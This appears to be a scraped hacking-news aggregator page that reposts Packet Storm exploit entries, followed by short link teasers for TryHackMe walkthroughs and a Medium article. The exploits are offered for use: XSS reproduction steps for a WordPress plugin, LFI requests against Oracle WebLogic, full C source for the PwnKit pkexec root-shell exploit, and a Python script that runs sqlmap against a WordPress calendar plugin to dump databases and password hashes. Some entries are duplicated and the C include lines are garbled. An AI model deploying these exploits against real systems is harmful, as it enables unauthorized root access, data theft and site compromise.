Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
WordPress Mortgage Calculators WP 1.52 Cross Site Scripting
https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
WordPress Mortgage Calculators WP plugin version 1.52 suffers from a persistent cross site scripting vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
WordPress Mortgage Calculators WP 1.52 Cross Site Scripting
https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
WordPress Mortgage Calculators WP plugin version 1.52 suffers from a persistent cross site scripting vulnerability.
MD5 |
244a7ae033a33d6c4e56be58e6a7618cDownload
# Exploit Title: WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 25-10-2021
# Exploit Author: Ceylan Bozogullarindan
# Vendor Homepage: https://lenderd.com/
# Software Link: https://mortgagecalculatorsplugin.com/
# Version: 1.52
# Tested on: Linux
# CVE : CVE-2021-24904 (https://wpscan.com/vulnerability/7b80f89b-e724-41c5-aa03-21d1eef50f21)
# Description:
The plugin gives users real-time estimates by providing mortgage calculators. It does not implement any sanitisation on the color value of the background of a calculator in admin panel, which could lead to authenticated Stored Cross-Site Scripting issues. An attacker can execute malicious javascript codes for all visitors of a page containing the calculator.
# Steps To Reproduce:
1. Go to settings page available under the "Calculator" menu item.
2. Click the "Select Color" button and type the following payload the input space: `hacked`
3. Click the "Save Changes" button to save settings.
4. Create a new page and add the shortcode ([mcwp type="cv"]) of the calculator, for testing.
5. Visit the page to trigger XSS.
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Oracle WebLogic Server 14.1.1.0.0 Local File Inclusion
https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Oracle WebLogic Server suffers from a local file inclusion vulnerability. Versions affected include 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
MD5 |
Download
Source:packetstormsecurity.com
Oracle WebLogic Server 14.1.1.0.0 Local File Inclusion
https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Oracle WebLogic Server suffers from a local file inclusion vulnerability. Versions affected include 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
MD5 |
ee531447f09be86139ecc9c82f1bf2e0Download
# Exploit Title: Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion
# Date: 25/1/2022
# Exploit Author: Jonah Tan (@picar0jsu)
# Vendor Homepage: https://www.oracle.com
# Software Link:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
# Tested on: Windows Server 2019
# CVE : CVE-2022-21371
# Description
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion
Middleware (component: Web Container).
Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
and 14.1.1.0.0.
Easily exploitable vulnerability allows unauthenticated attacker with
network access via HTTP to compromise Oracle WebLogic Server.
Successful attacks of this vulnerability can result in unauthorized access
to critical data or complete access to all Oracle WebLogic Server
accessible data.
# PoC
GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
PolicyKit-1 0.105-31 Privilege Escalation
https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
PolicyKit-1 version 0.105-31 pkexec local privilege escalation exploit.
MD5 |
Download
Source:packetstormsecurity.com
PolicyKit-1 0.105-31 Privilege Escalation
https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
PolicyKit-1 version 0.105-31 pkexec local privilege escalation exploit.
MD5 |
306be3c9311743edfa3eecbd845b8ac0Download
# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`
##### Makefile #####
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
#################
##### evil-so.c #####
#include <stdio.h
#include <stdlib.h
#include <unistd.h
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
#################
##### exploit.c #####
#include <stdio.h
#include <stdlib.h
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
#################
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
WordPress Modern Events Calendar 6.1 SQL Injection
https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.
MD5 |
WordPress Modern Events Calendar 6.1 SQL Injection
https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.
MD5 |
072f2b4d4bc04c1eb3516c69bee38723Download # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)
# Date 26.01.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip
# Version: <=
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24946
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md
'''
Description:
The Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter
before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,
leading to an unauthenticated SQL injection issue
'''
#Banner:
banner = '''
.oOOOo. o 'O o.OOoOoo
.O o O o O .oOOo. .oOOo. .oOOo. oO .oOOo. o O .oOOo. o O .oOOo.
o o O o O O o O O O O o O o O o O
o o o ooOO o o O o o o o o o O o o o
o O O' O ooooooooo O' o o O' O ooooooooo O' OooOOo `OooOo OooOOo OoOOo.
O `o o o O O O O o O O O O O O
`o .o `o O O .O o O .O O .O o o o O o
`OoooO' `o' ooOooOoO oOoOoO `OooO' oOoOoO OooOO oOoOoO O `OooO' O `OooO'
[+] Modern Events Calendar Lite SQL-Injection
[@] Developed by Ron Jost (Hacker5preme)
'''
print(banner)
import requests
import argparse
from datetime import datetime
import os
# User-Input:
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calendar SQL-Injection (unauthenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
# Exploit:
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
print('[*] Payload for SQL-Injection:')
exploitcode_url = r'sqlmap "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=mec_load_single_page&time=2" '
exploitcode_risk = ' -p time'
print(' Sqlmap options:')
print(' -a, --all Retrieve everything')
print(' -b, --banner Retrieve DBMS banner')
print(' --current-user Retrieve DBMS current user')
print(' --current-db Retrieve DBMS current database')
print(' --passwords Enumerate DBMS users password hashes')
print(' --tables Enumerate DBMS database tables')
print(' --columns Enumerate DBMS database table column')
print(' --schema Enumerate DBMS schema')
print(' --dump Dump DBMS database table entries')
print(' --dump-all Dump all DBMS databases tables entries')
retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
exploitcode = exploitcode_url + retrieve_mode + exploitcode_risk
os.system(exploitcode)
print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) Source:packetst[...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
WGEL CTF — TryHackMe Walkthrough
https://cdn-images-1.medium.com/max/960/1*oPDRJ5Zos45byqxZmOcvuQ.png
A comprehensive walkthrough of TryHackMe’s WGEL CTF
Continue reading on InfoSec Write-ups »
WGEL CTF — TryHackMe Walkthrough
https://cdn-images-1.medium.com/max/960/1*oPDRJ5Zos45byqxZmOcvuQ.png
A comprehensive walkthrough of TryHackMe’s WGEL CTF
Continue reading on InfoSec Write-ups »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Bounty Hacker CTF — TryHackMe Walkthrough
https://cdn-images-1.medium.com/max/960/1*trp6_k17oeWOylQFyyG4vw.png
A comprehensive walkthrough of TryHackMe’s Bounty Hacker CTF
Continue reading on InfoSec Write-ups »
Bounty Hacker CTF — TryHackMe Walkthrough
https://cdn-images-1.medium.com/max/960/1*trp6_k17oeWOylQFyyG4vw.png
A comprehensive walkthrough of TryHackMe’s Bounty Hacker CTF
Continue reading on InfoSec Write-ups »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Custom Typescript Transformers with Angular v11, v12 and v13
https://cdn-images-1.medium.com/max/2600/0*lG6RbczUiQM3EFik
Today I will describe the solution I have implemented to use my transformer in Relay Angular.
Continue reading on Medium »
Custom Typescript Transformers with Angular v11, v12 and v13
https://cdn-images-1.medium.com/max/2600/0*lG6RbczUiQM3EFik
Today I will describe the solution I have implemented to use my transformer in Relay Angular.
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
About Hacking (Part 1)
Hackers are very common in today’s world. And unfortunately, not having the necessary security measures usually means that a hacker can…
Continue reading on Medium »
About Hacking (Part 1)
Hackers are very common in today’s world. And unfortunately, not having the necessary security measures usually means that a hacker can…
Continue reading on Medium »